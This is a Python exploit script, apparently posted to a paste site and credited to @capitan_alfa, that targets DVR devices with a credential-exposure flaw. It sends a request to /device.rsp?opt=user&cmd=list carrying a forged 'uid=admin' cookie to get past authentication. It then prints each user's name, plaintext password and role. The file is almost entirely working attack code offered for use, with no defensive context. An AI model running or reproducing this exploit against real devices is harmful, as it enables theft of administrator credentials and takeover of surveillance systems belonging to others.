main.py 3.4 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128
  1. # -*- coding: utf-8 -*-
  2. import json
  3. import requests
  4. import argparse
  5. import tableprint as tp
  6. class Colors:
  7. BLUE = '\033[94m'
  8. GREEN = '\033[32m'
  9. RED = '\033[0;31m'
  10. DEFAULT = '\033[0m'
  11. ORANGE = '\033[33m'
  12. WHITE = '\033[97m'
  13. BOLD = '\033[1m'
  14. BR_COLOUR = '\033[1;37;40m'
  15. banner = '''
  16. __..--.._
  17. ..... .--~ ..... `.
  18. .": "`-.. . .' ..-'" :". `
  19. ` `._ ` _.'`"( `-"'`._ ' _.' '
  20. ~~~ `. ~~~
  21. .'
  22. /
  23. (
  24. ^---'
  25. [*] @capitan_alfa
  26. '''
  27. details = '''
  28. # Exploit Title: DVRs; Credentials Exposed
  29. # Date: 09/04/2018
  30. # Exploit Author: Fernandez Ezequiel ( @capitan_alfa )
  31. '''
  32. parser = argparse.ArgumentParser(prog='getDVR_Credentials.py',
  33. description=' [+] Obtaining Exposed credentials',
  34. epilog='[+] Demo: python getDVR_Credentials.py --host 192.168.1.101 -p 81',
  35. #version="1.1"
  36. )
  37. parser.add_argument('--host', dest="HOST", help='Host', required=True)
  38. parser.add_argument('--port', dest="PORT", help='Port', default=80)
  39. args = parser.parse_args()
  40. HST = args.HOST
  41. port = args.PORT
  42. headers = {}
  43. fullHost_1 = "http://"+HST+":"+str(port)+"/device.rsp?opt=user&cmd=list"
  44. host = "http://"+HST+":"+str(port)+"/"
  45. print(Colors.GREEN+banner+Colors.DEFAULT)
  46. def makeReqHeaders(xCookie):
  47. headers["Host"] = host
  48. headers["User-Agent"] = "Morzilla/7.0 (911; Pinux x86_128; rv:9743.0)"
  49. headers["Accept"] = "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"
  50. headers["Accept-Languag"] = "es-AR,en-US;q=0.7,en;q=0.3"
  51. headers["Connection"] = "close"
  52. headers["Content-Type"] = "text/html"
  53. headers["Cookie"] = "uid="+xCookie
  54. return headers
  55. try:
  56. rX = requests.get(
  57. fullHost_1,
  58. headers=makeReqHeaders(xCookie="admin"),
  59. timeout=10.000
  60. )
  61. except Exception as e:
  62. print(Colors.RED+" [+] Timed out\n"+Colors.DEFAULT)
  63. exit()
  64. badJson = rX.text
  65. try:
  66. dataJson = json.loads(badJson)
  67. totUsr = len(dataJson["list"]) #--> 10
  68. except Exception as e:
  69. print(" [+] Error: "+str(e))
  70. print(" [>] json: "+str(rX))
  71. # print " [>] Reuest: \n"+str(makeReqHeaders(xCookie="admin"))
  72. exit()
  73. print(Colors.GREEN+"\n [+] DVR (url):\t\t"+Colors.ORANGE+str(host)+Colors.GREEN)
  74. print(" [+] Port: \t\t"+Colors.ORANGE+str(port)+Colors.DEFAULT)
  75. print(Colors.GREEN+"\n [+] Users List:\t"+Colors.ORANGE+str(totUsr)+Colors.DEFAULT)
  76. print(" ")
  77. final_data = []
  78. try:
  79. for obj in range(0,totUsr):
  80. temp = []
  81. _usuario = dataJson["list"][obj]["uid"]
  82. _password = dataJson["list"][obj]["pwd"]
  83. _role = dataJson["list"][obj]["role"]
  84. temp.append(_usuario)
  85. temp.append(_password)
  86. temp.append(_role)
  87. final_data.append(temp)
  88. hdUsr = Colors.GREEN + "Username" + Colors.DEFAULT
  89. hdPass = Colors.GREEN + "Password" + Colors.DEFAULT
  90. hdRole = Colors.GREEN + "Role ID" + Colors.DEFAULT
  91. cabeceras = [hdUsr, hdPass, hdRole]
  92. tp.table(final_data, cabeceras, width=20)
  93. except Exception as e:
  94. print("\n [!]: "+str(e))
  95. print(" [+] "+ str(dataJson))
  96. print("\n")